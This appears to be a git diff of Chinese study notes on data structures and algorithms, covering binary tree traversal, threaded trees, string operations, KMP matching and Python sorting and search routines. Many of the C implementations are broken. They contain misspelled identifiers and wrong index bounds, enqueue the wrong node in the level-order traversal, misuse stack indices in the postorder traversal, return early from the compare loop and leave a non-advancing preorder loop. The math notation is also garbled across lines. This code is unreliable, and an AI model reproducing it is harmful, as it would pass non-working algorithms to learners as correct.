|
if(q==NULL)search(p->rchild,q,key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
4.输出先序序列中第k个结点的值
|
||||||
|
|
||||||
|
```
|
||||||
|
int n=0;
|
||||||
|
//先序
|
||||||
|
void trave(BTNode *p,int k)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
++n;
|
||||||
|
if(k==n)
|
||||||
|
{
|
||||||
|
cout<<p->date<<endl;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
trave(p->lchild,k);
|
||||||
|
trace(p->rchild,k);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//中序
|
||||||
|
void trave(BTNode *p,int k)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
trave(p->lchild,k);
|
||||||
|
++n;
|
||||||
|
if(k==n)
|
||||||
|
{
|
||||||
|
cout<<p->date<<endl;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
trave(p->rchild,k);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//后序
|
||||||
|
void trave(BTNode *p,int k)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
trave(p->lchild,k);
|
||||||
|
trave(p->rchild,k);
|
||||||
|
++n;
|
||||||
|
if(k==n)
|
||||||
|
{
|
||||||
|
cout<<p->date<<endl;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
5.先序遍历序列得到pre[l1,… ,r1],中序遍历序列得到in[l2,… ,r2],元素类型为char,并且二叉树中的数值互不相等,求由这两种序列构造的二叉树
|
||||||
|
|
||||||
|
```
|
||||||
|
/*
|
||||||
|
思路:
|
||||||
|
先序遍历的第一个元素即为根结点数值,在中序遍历中找到a,由a将中序遍历
|
||||||
|
序列分成两个子序列,左边构成左子树,右边构成右子树;
|
||||||
|
再对左右子树采用同样的处理方式,直到子序列只有1一个元素时,构造结束。
|
||||||
|
*/
|
||||||
|
BTNode *CreateBT(char pre[],char in[],int l1,int r2,int l2,int r2)
|
||||||
|
{
|
||||||
|
BTNode *s;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
//此语句不能去掉,代表处理序列长度为0的情况,而in[]这个数组只是一个参照数组
|
||||||
|
if(l1>r1)return NULL;
|
||||||
|
|
||||||
|
//申请一个结点空间
|
||||||
|
s=(BTNode*)malloc(sizeof(BTNode));
|
||||||
|
s->lchild=s->rchild=NULL;
|
||||||
|
|
||||||
|
//通过找到in中的i确定左右子树范围
|
||||||
|
for(i=r2;i<=r2;++i)
|
||||||
|
{
|
||||||
|
if(in[i]==pre[l1])break;
|
||||||
|
}
|
||||||
|
s->date=in[i];
|
||||||
|
|
||||||
|
//对于中序遍历,[l2,i-1就是左子树,结点个数为i-1-l2,[i+1,r2]就是右子树,结点个数为r2-i-1
|
||||||
|
//对于先序遍历,参照中序遍历,[l1+1,l1+i-l2]为左子树,[l1+i-l2+1,r1]为右子树
|
||||||
|
//然后将左右子树根结点连接在s的左右指针域上
|
||||||
|
s->lchild=CreateBT(pre,in,l1+1,l1+i-l2,l2,i-1);
|
||||||
|
s->rchild=CreatBT(pre,in,l1+i-l2+1,r1,i+1,r2);
|
||||||
|
//递归结束返回二叉树根结点s
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3.层次遍历(很重要)
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1.具体算法
|
||||||
|
|
||||||
|
```
|
||||||
|
void level (BTNode *p)
|
||||||
|
{
|
||||||
|
int front, rear;
|
||||||
|
BTNode *que[maxSize];
|
||||||
|
front=rear=0;
|
||||||
|
BTNode *q;
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
rear=(rear+1)%maxSize;
|
||||||
|
que[rear]=p; //根节点入队
|
||||||
|
while(front!=rear) //对列不为空进行循环
|
||||||
|
{
|
||||||
|
front=(front+1)%maxSize;
|
||||||
|
q=que[front]; //队头结点出队
|
||||||
|
Visit(q);
|
||||||
|
if(q->lchild!=NULL)//处理左子树
|
||||||
|
{
|
||||||
|
rear=(rear+1)%maxSize;
|
||||||
|
que[rear]=p->lchild;
|
||||||
|
}
|
||||||
|
if(q->rchild!=NULL)//处理右子树
|
||||||
|
{
|
||||||
|
rear=(rear+1)%maxSzie;
|
||||||
|
que[rear]=p->rchild;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
2.例程
|
||||||
|
|
||||||
|
```
|
||||||
|
//要求:求二叉树的宽度
|
||||||
|
//1.对于非空树,根据上面算法,如果我们知道了当前结点的层号,就可以知道其左右孩子的层号
|
||||||
|
//2.考虑存储队列的数组足够长,队头元素不会被覆盖,rear=(rear+1)%maxSize和front=(front+1)%maxSize可以直接写为++rear和++front
|
||||||
|
//3.第一点知道每个结点的层号,第二点用数组存放结点,于是就可以知道最多的层上的结点
|
||||||
|
|
||||||
|
//定义顺序非循环队列元素,存储结点指针和结点层次号
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
BTNode *p;
|
||||||
|
int lno;
|
||||||
|
}St;
|
||||||
|
|
||||||
|
int maxNode(BTNode *b)
|
||||||
|
{
|
||||||
|
//定义顺序非循环队列
|
||||||
|
St que[maxSize];
|
||||||
|
int front,rear;
|
||||||
|
front=rear=0;
|
||||||
|
|
||||||
|
int Lno,i,j,n,max;
|
||||||
|
BTNode *q;
|
||||||
|
|
||||||
|
if(b!=NULL)
|
||||||
|
{
|
||||||
|
++rear;
|
||||||
|
que[rear].p=b; //树根结点入队
|
||||||
|
que.lno=1; //树根结点层号为1
|
||||||
|
//相当于初始化
|
||||||
|
while(front!=rear)
|
||||||
|
{
|
||||||
|
++front;
|
||||||
|
q=que[front].p;
|
||||||
|
//存放当前结点层次号,便于得知左右孩子的层次号
|
||||||
|
Lno=que[front].lno;
|
||||||
|
if(q->lchild!=NULL)
|
||||||
|
{
|
||||||
|
++rear;
|
||||||
|
que[rear].p=q->lchild;
|
||||||
|
que[rear].lno=Lno+1;
|
||||||
|
}
|
||||||
|
if(q->rchild!=NULL)
|
||||||
|
{
|
||||||
|
++rear;
|
||||||
|
que[rear].p=q->rchild;
|
||||||
|
que[rear].lno=Lno+1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//循环结束Lno保存这颗二叉树的最大层数
|
||||||
|
max=0;
|
||||||
|
for(i=1;i<=Lno;++i)
|
||||||
|
{
|
||||||
|
n=0;
|
||||||
|
//遍历整个顺序循环队列,查找具有相同层次号的结点个数
|
||||||
|
for(j=1;j<=rear;++j)
|
||||||
|
{
|
||||||
|
if(que[j].lno==i)++n;
|
||||||
|
if(max<n)max=n;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return max;
|
||||||
|
}
|
||||||
|
else return 0; //空树直接返回0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 四、遍历算法改进
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1.先序遍历
|
||||||
|
|
||||||
|
>
|
||||||
|
思路:将树根结点入栈,然后出栈,将树根结点的右孩子先入栈,左孩子后入栈(先入栈后访问),循环直至遍历结束
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
void preorderNonrecurision(BTNode *bt)
|
||||||
|
{
|
||||||
|
if(bt!=NULL)
|
||||||
|
{
|
||||||
|
//定义顺序栈
|
||||||
|
BTNode *Stack[maxSize];
|
||||||
|
int top=-1;
|
||||||
|
|
||||||
|
BTNode *p;
|
||||||
|
Stack[++top]=bt;//根结点入栈
|
||||||
|
while(top!=-1)
|
||||||
|
{
|
||||||
|
p=Stack[top--];//出栈并输出栈顶结点
|
||||||
|
Visit(p);
|
||||||
|
if(p->rchild!=NULL)Stack[++top]=p->rchild;
|
||||||
|
if(p->lchild!=NULL)Stack[++top]=p->lchild;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
2.中序遍历
|
||||||
|
|
||||||
|
>
|
||||||
|
思路:根节点入栈,如果栈顶结点左孩子存在,则左孩子入栈;如果左孩子不存在,则出栈并输出栈顶结点;然后检查右孩子是否存在,存在,则右孩子入栈,栈空结束算法
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
void inorderNorecursion(BTNode *bt)
|
||||||
|
{
|
||||||
|
if(bt!=NULL)
|
||||||
|
{
|
||||||
|
BTNode *Stack[maxSize];
|
||||||
|
int top = -1;
|
||||||
|
BTNode *p;
|
||||||
|
p=bt;
|
||||||
|
//可能最后存在右孩子但此时栈空的情况
|
||||||
|
while(top!=-1||p!=NULL)
|
||||||
|
{
|
||||||
|
while(p!=NULL) //左孩子存在则左孩子入栈
|
||||||
|
{
|
||||||
|
Stack[++top]=p;
|
||||||
|
p=p->lchild;
|
||||||
|
}
|
||||||
|
if(top!=-1)
|
||||||
|
{
|
||||||
|
p=Stack[top--];
|
||||||
|
Visit[p];
|
||||||
|
p=p->rchild;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
3.后序遍历
|
||||||
|
|
||||||
|
>
|
||||||
|
思路:逆后序遍历是先序遍历过程中对左右子树遍历顺序交换所得的结果,所以只要将之前的非循环先序遍历的左右子树遍历顺序交换得到逆后序遍历,然后将逆后序逆序就得到后序遍历。即把逆后序遍历的元素依次出栈stack1,然后入栈stack2,此时栈2自顶向下的顺序即为后序遍历顺序,再依次出栈即可
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//与先序进行类比,基本一样
|
||||||
|
void posorderNonrecursion(BTNode *bt)
|
||||||
|
{
|
||||||
|
if(bt!=NULL)
|
||||||
|
{
|
||||||
|
//定义两个栈
|
||||||
|
BTNode *Stack[maxSize];int top1=-1;
|
||||||
|
BTNode *Stack[maxSize];int top2=-1;
|
||||||
|
BTNode *p=NULL;
|
||||||
|
Stack1[++top1]=bt;
|
||||||
|
while(top1 != -1)
|
||||||
|
{
|
||||||
|
p=Stack1[top1--];
|
||||||
|
Stack2[top2++]=p;
|
||||||
|
//左右子树遍历顺序变化
|
||||||
|
if(p->lchild)Stack1[++top1]=p->lchild;
|
||||||
|
if(p->rchild)Stack1[++top2]=p->rchild;
|
||||||
|
}
|
||||||
|
//栈2元素出栈
|
||||||
|
while(top2 != -1)
|
||||||
|
{
|
||||||
|
p = Stack2[top2--];
|
||||||
|
Visit(p);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 五、线索二叉树
|
||||||
|
|
||||||
|
## 1.概念描述
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
typedef struct TBTNode
|
||||||
|
{
|
||||||
|
char date;
|
||||||
|
int ltag,rtag; //线索标记
|
||||||
|
struct TBTNode *lchild;
|
||||||
|
struct TBTNode *rchild;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
**思路:** <br/> 左线索指针指向当前结点在中序遍历序列中的前驱结点,右线索指针指向后继结点; <br/> 定义一个p指针指向当前正在访问的结点,pre指向p的前驱结点(prior),p的左线索如果存在则让其指向pre,pre的右线索如果存在,则让其指向p。 <br/> 当p要离开一个访问的结点时,pre指向p,当p来到一个新结点时,pre指向此时p所指结点的前驱结点。
|
||||||
|
|
||||||
|
|
||||||
|
## 2.具体算法描述
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.中序遍历对二叉树进行线索化算法
|
||||||
|
void InThread(TBTNode *p,TBTNode *&pre)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
InThread(p->lchild,pre);
|
||||||
|
if(p->lchild==NULL)//没有左孩子,存在左线索
|
||||||
|
{
|
||||||
|
p->lchild=pre;
|
||||||
|
p->ltag=1;
|
||||||
|
}
|
||||||
|
if(pre!=NULL&&pre->rchild==NULL)//没有右孩子,则右线索存在
|
||||||
|
{
|
||||||
|
pre->rchild=p;
|
||||||
|
pre->rtag=1;
|
||||||
|
}
|
||||||
|
//准备处理下一个结点
|
||||||
|
pre=p;
|
||||||
|
InThread(p->rchild,pre);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//中序遍历建立中序线索二叉树
|
||||||
|
void creatInThread(TBTNode *root)
|
||||||
|
{
|
||||||
|
TBTNode *pre=NULL; //前驱结点指针
|
||||||
|
if(root!=NULL)
|
||||||
|
{
|
||||||
|
InThread(root,pre);
|
||||||
|
pre->rchild=NULL; //非空二叉树线索化
|
||||||
|
pre->rtag=1; //后处理中序最后一个结点
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//遍历中序线索二叉树
|
||||||
|
//求以p为根的中序线索二叉树中,中序序列下的第一个结点
|
||||||
|
TBTNode *First(TBTNode *p)
|
||||||
|
{
|
||||||
|
while(p->ltag==0)p=p->lchild;
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
//求结点p在中序下的后继结点
|
||||||
|
TBTNode *Next(TBTNode *p)
|
||||||
|
{
|
||||||
|
//如果右孩子存在,则返回右子树第一个中序需要访问下的结点
|
||||||
|
if(p->rtag==0)return First(p->rchild);
|
||||||
|
//右孩子不存在,则直接指向后继结点
|
||||||
|
else return p->rchild;
|
||||||
|
}
|
||||||
|
//求最后一个结点
|
||||||
|
TBTNode *Last(TBTNode *p)
|
||||||
|
{
|
||||||
|
while(p->rtag==0)p=p->rchild;
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
//求结点p的前驱结点
|
||||||
|
TBTNode *Prior(TBTNode *p)
|
||||||
|
{
|
||||||
|
if(p->ltag==0)return Last(p->lchild);
|
||||||
|
else return p->lchild;
|
||||||
|
}
|
||||||
|
|
||||||
|
//中序线索二叉树上执行中序遍历算法
|
||||||
|
void Inorder
|
||||||
|
{
|
||||||
|
for(TBTNode *p=First(root);p!=NULL;p=Next(p))
|
||||||
|
Visit(p);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
//2.前序线索二叉树
|
||||||
|
void preThread(TBTNode *p,TBTNode *&pre)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
if(p->lchild==NULL)
|
||||||
|
{
|
||||||
|
p->lchild=pre;
|
||||||
|
p->ltag=1;
|
||||||
|
}
|
||||||
|
if(pre!=NULL&&pre->rchild==NULL)
|
||||||
|
{
|
||||||
|
pre->rchild=p;
|
||||||
|
pre->rtag=1;
|
||||||
|
}
|
||||||
|
pre=p;
|
||||||
|
//左右指针不是线索才能继续递归
|
||||||
|
if(p->ltag==0)preThread(p->lchild,pre);
|
||||||
|
if(p->rtag==0)preThread(p->rchild,pre);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//在前序线索二叉树上执行前序算法
|
||||||
|
void preorder(TBTNode *root)
|
||||||
|
{
|
||||||
|
if(!root=NULL)
|
||||||
|
{
|
||||||
|
TBTNode *p=root;
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
//左指针不是线索,则边访问边左移
|
||||||
|
while(p->ltag==0)
|
||||||
|
{
|
||||||
|
Visit(p);
|
||||||
|
p=p->lchild;
|
||||||
|
}
|
||||||
|
Visit(p);
|
||||||
|
//左孩子不存在,右孩子不管是不是非空都指向其后继结点
|
||||||
|
p->rchild;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
//3.后序线索二叉树
|
||||||
|
void postThread(TBTNode *p,TBTNode *&pre)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
postThread(p->lchild,pre);
|
||||||
|
postThread(p->rchild,pre);
|
||||||
|
if(p->lchild==NULL)
|
||||||
|
{
|
||||||
|
p->lchild=pre;
|
||||||
|
p->ltag=1;
|
||||||
|
}
|
||||||
|
if(pre!=NULL&&pre->rchild==NULL)
|
||||||
|
{
|
||||||
|
pre->rchild=p;
|
||||||
|
pre->rtag=1;
|
||||||
|
}
|
||||||
|
pre=p;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
简要描述:
|
||||||
|
1) 如果结点x是二叉树的根,则其后继为空;
|
||||||
|
2) 如果结点x是其双亲的右孩子,或者是其双亲的左孩子且其双亲没有右子树,则其后继即为双亲;
|
||||||
|
3) 如果x是其双亲的左孩子,且其双亲有右子树,则其后继结点为双亲右子树按后序遍历列出的第一个结点。
|
||||||
|
*/
|
||||||
|
```
|
||||||
|
|
||||||
|
# 六、相关树的转换和概念描述
|
||||||
|
|
||||||
|
## 1.树与二叉树的转换
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 2.森林和二叉树的转换
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 3.树与森林的遍历
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 4.赫夫曼树和赫夫曼编码
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,243 @@
|
||||||
|
# 原创
|
||||||
|
: 第四章 串
|
||||||
|
|
||||||
|
# 第四章 串
|
||||||
|
|
||||||
|
# 一、串数据类型的定义
|
||||||
|
|
||||||
|
## 1.定义和存储结构
|
||||||
|
|
||||||
|
```
|
||||||
|
char str[]="abcdef";
|
||||||
|
//定长顺序存储
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
char str[maxSize+1];//加1是为了多出一个用来存储'\0'作为结束标记
|
||||||
|
int length;
|
||||||
|
}Str;
|
||||||
|
//变长分配存储
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
char *ch;
|
||||||
|
int length;
|
||||||
|
}Str;
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.串的基本操作
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.赋值
|
||||||
|
int strassign(Str& str,char* ch)
|
||||||
|
{
|
||||||
|
if(str.ch)free(str.ch) //释放原数组空间
|
||||||
|
int len=0;
|
||||||
|
char *c=ch; //c指向ch
|
||||||
|
while(*c) //求串的长度
|
||||||
|
{
|
||||||
|
++len;
|
||||||
|
++c;
|
||||||
|
}
|
||||||
|
if(len==0)
|
||||||
|
{
|
||||||
|
str.ch=NULL;
|
||||||
|
str.length=0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
str.ch=(char*)malloc(sizeof(char)*(len+1));
|
||||||
|
if(str.ch==NULL)return 0;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
c=ch;
|
||||||
|
for(int i=0;i<=len;++i,++c)str.ch[i]=*c;
|
||||||
|
str.length=len;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//strassign(str,"cur input")
|
||||||
|
|
||||||
|
//2.取串的长度
|
||||||
|
int strlength(Str str)
|
||||||
|
{
|
||||||
|
return str.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.串比较操作
|
||||||
|
int strcompare(Str s1, Str s2)
|
||||||
|
{
|
||||||
|
for(int i;i<s1.length&&i<s2.length;++i)
|
||||||
|
{
|
||||||
|
if(s1.ch[i]!=s2.ch[i])return s1.ch[i]-s2.ch[i];
|
||||||
|
return s1.length-s2.length;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//4.串连接操作
|
||||||
|
int concat(Str &str, Str str1, Str str2)
|
||||||
|
{
|
||||||
|
//如果str不为空,则释放str空间
|
||||||
|
//如果为空,则返回0,也就是不能进行串操作
|
||||||
|
if(str.ch)
|
||||||
|
{
|
||||||
|
free(str.ch);
|
||||||
|
str.ch=NULL;
|
||||||
|
}
|
||||||
|
str.ch=(char*)malloc(sizeof(char)*(str1.length+str2.length+1));
|
||||||
|
if(str.ch==NULL)return 0;
|
||||||
|
int i=0;
|
||||||
|
while(i<str1.length)
|
||||||
|
{
|
||||||
|
str.ch[i]=str1.ch[i];
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
int j;
|
||||||
|
while(j<=str2.length)
|
||||||
|
{
|
||||||
|
str.ch[i+j]=str2.ch[j];
|
||||||
|
++j;
|
||||||
|
}
|
||||||
|
str.length=str1.length+str2.length;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//5.求子串操作
|
||||||
|
//从pos处开始,长度为len的子串
|
||||||
|
int substring(Str& substr, Str str, ingt pos,int len)
|
||||||
|
{
|
||||||
|
if(pos<0||pos>=str.length||len<0||len>str.length-pos)return 0;
|
||||||
|
if(substr.ch)
|
||||||
|
{
|
||||||
|
free(substr.ch);
|
||||||
|
substr.ch=NULL;
|
||||||
|
}
|
||||||
|
if(len==0)
|
||||||
|
{
|
||||||
|
substr.ch=NULL;
|
||||||
|
substr.length=0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
substr.ch=(char*)malloc(sizeof(char)*(len+1));
|
||||||
|
int i=pos;
|
||||||
|
int j=0;
|
||||||
|
while(i<pos+len)
|
||||||
|
{
|
||||||
|
substr.ch[j]=str.ch[i];
|
||||||
|
++i;
|
||||||
|
++j;
|
||||||
|
}
|
||||||
|
substr.ch[j]='\0';
|
||||||
|
sunstr.length=len;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//6.串清空操作
|
||||||
|
int clearstring(Str& str)
|
||||||
|
{
|
||||||
|
if(str.ch)
|
||||||
|
{
|
||||||
|
free(str.ch);
|
||||||
|
str.ch=NULL;
|
||||||
|
}
|
||||||
|
str.length=0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 二、串的模式匹配算法
|
||||||
|
|
||||||
|
## 1.简单模式匹配算法
|
||||||
|
|
||||||
|
```
|
||||||
|
//对一个串中的定位操作称为串的模式匹配
|
||||||
|
//其中串中字符存放在1-length的位置上
|
||||||
|
int index(Str str,Str substr)
|
||||||
|
{
|
||||||
|
int i=1,j=1,k=i;
|
||||||
|
while(i<=str.length&&j<=str.length)
|
||||||
|
{
|
||||||
|
if(str.ch[i]==substr.ch[j])
|
||||||
|
{
|
||||||
|
++i;
|
||||||
|
++j;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
j=1;
|
||||||
|
i=++k;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(j>substr.length)return k;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.KMP算法
|
||||||
|
|
||||||
|
```
|
||||||
|
//思路:每当发生模式串不匹配的情况,先找出发生不匹配的字符pj,取其子串F=p1p2p3...Pj-1
|
||||||
|
//将模式串后移,使F最先发生前部(FL)和后部(FR)相重合的位置,即模式串后移的目标位置
|
||||||
|
//即j指向的F前后重合的子串的长度+1(FL和FR的长度加1),可以定义一个next[j]数组,取j=1~m
|
||||||
|
//m为模式串长度,表示模式串中第j个字符发生不匹配时,应从next[j]处的字符开始重新发生与主串比较
|
||||||
|
|
||||||
|
//求next数组:
|
||||||
|
//next[j]已知,t为当前F最长相等前后缀长度(即FL和FR的长度next[j]=t)
|
||||||
|
//当pj=pt,则next[j+1]=t+1;
|
||||||
|
//当pj!=pt,则t=next[t];
|
||||||
|
void getnext(Str substr, int next[])
|
||||||
|
{
|
||||||
|
int j=1,t=0;next[1]=0;
|
||||||
|
while(j<substr.length)
|
||||||
|
{
|
||||||
|
if(t==0||substr.ch[i]==substr.ch[t])next[++j]=++t;
|
||||||
|
else t=next[t];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//得到next数组之后,可以将简单算法改进成著名的KMP算法
|
||||||
|
int KMP(Str str, Str substr, int next[])
|
||||||
|
{
|
||||||
|
//假设从下标为1开始存储的字符
|
||||||
|
int i=1, j=1;
|
||||||
|
while(i<=str.length&&j<=substr.length)
|
||||||
|
{
|
||||||
|
if(j==0||str.ch[i]==substr.ch[j])
|
||||||
|
{
|
||||||
|
++i;
|
||||||
|
++j;
|
||||||
|
}
|
||||||
|
else j=next[j];
|
||||||
|
}
|
||||||
|
if(j>substr.length)retrun i-substr.length;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3.KMP算法的改进
|
||||||
|
|
||||||
|
```
|
||||||
|
//当j=1时,nextva[j]=0,作为特殊标记
|
||||||
|
//pj!=pk时,nextval[j]=next[j]=k;
|
||||||
|
//pj=pk时,nextval[j]=nextval[next[j]]=nextval[k];
|
||||||
|
void getnextval(Str substr,int nextval[])
|
||||||
|
{
|
||||||
|
int i=1,j=0;
|
||||||
|
nextval[1]=0;
|
||||||
|
while(i<substr.length)
|
||||||
|
{
|
||||||
|
if(j==0||substr.ch[i]==substr.ch[j])
|
||||||
|
{
|
||||||
|
++i;
|
||||||
|
++j;
|
||||||
|
// 加了这两句
|
||||||
|
if(substr.ch[i]!=substr.ch[j])nextval[i]=j;
|
||||||
|
else nextval[i]=nextval[j];
|
||||||
|
}
|
||||||
|
else j=nextval[j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,368 @@
|
||||||
|
# 原创
|
||||||
|
: 算法图解笔记
|
||||||
|
|
||||||
|
# 算法图解笔记
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
## 算法简介
|
||||||
|
|
||||||
|
二分法查找,输入一个**有序列表**,返回元素位置或null。<br/> 一般而言,<strong>对于包含n个元素的列表,用二分法查找最多需要
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
l
|
||||||
|
|
||||||
|
|
||||||
|
o
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
g
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
log_2 n
|
||||||
|
|
||||||
|
|
||||||
|
log2n</strong>
|
||||||
|
|
||||||
|
```
|
||||||
|
def binary_search(list, item):
|
||||||
|
low = 0
|
||||||
|
high = len(list) - 1
|
||||||
|
|
||||||
|
while low <= high:
|
||||||
|
mid = (low + high) // 2
|
||||||
|
if list[mid] == item:
|
||||||
|
return mid
|
||||||
|
elif list[mid] > item:
|
||||||
|
high = mid - 1
|
||||||
|
else:
|
||||||
|
low = mid + 1
|
||||||
|
return None
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
[binary_search.py](binary_search.py)
|
||||||
|
|
||||||
|
## 选择排序
|
||||||
|
|
||||||
|
由于数组的结构在内存中是连续的,添加新元素十分麻烦,链表的优势在于插入新元素;<br/> 数组的优势在于元素的随机访问。也就是说**数组和链表在插入和读取元素的时间复杂度刚好互补**。<br/> [selectSort](selectSort.py)
|
||||||
|
|
||||||
|
```
|
||||||
|
def findSmallest(arr):
|
||||||
|
smallest = arr[0]
|
||||||
|
smallest_index = 0
|
||||||
|
for i in range(1,len(arr)):
|
||||||
|
if arr[i] < smallest:
|
||||||
|
smallest = arr[i]
|
||||||
|
smallest_index = i
|
||||||
|
return smallest_index
|
||||||
|
|
||||||
|
|
||||||
|
def selectSort(arr):
|
||||||
|
newArr = []
|
||||||
|
for i in xrange(len(arr)):
|
||||||
|
smallest = findSmallest(arr)
|
||||||
|
newArr.append(arr.pop(smallest))
|
||||||
|
return newArr
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
我的写法
|
||||||
|
|
||||||
|
```
|
||||||
|
def selectSort2(arr):
|
||||||
|
n = len(arr)
|
||||||
|
for i in range(n):
|
||||||
|
for j in range(i, n):
|
||||||
|
if arr[j] < arr[i]:
|
||||||
|
arr[i], arr[j] = arr[j], arr[i]
|
||||||
|
return arr
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
时间复杂度为
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O(n^2)
|
||||||
|
|
||||||
|
|
||||||
|
O(n2)
|
||||||
|
|
||||||
|
## 递归
|
||||||
|
|
||||||
|
>
|
||||||
|
递归函数要有基线条件和递归条件,否则会无限循环.
|
||||||
|
|
||||||
|
|
||||||
|
看一个阶乘函数的实现:
|
||||||
|
|
||||||
|
```
|
||||||
|
def fact(x):
|
||||||
|
if x == 1:return 1
|
||||||
|
else: return x*fact(x-1)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 快速排序
|
||||||
|
|
||||||
|
快速排序是分而治之的策略[quickSort](quickSort.py)
|
||||||
|
|
||||||
|
### 分而治之
|
||||||
|
|
||||||
|
```
|
||||||
|
def quickSort(arr):
|
||||||
|
if len(arr)<2:
|
||||||
|
return arr
|
||||||
|
else:
|
||||||
|
pivot = arr[0]
|
||||||
|
less = [i for i in arr[1:] if i <= pivot]
|
||||||
|
greater = [i for i in arr[1:] if i > pivot]
|
||||||
|
return quickSort(less)+[pivot]+quickSort(greater)
|
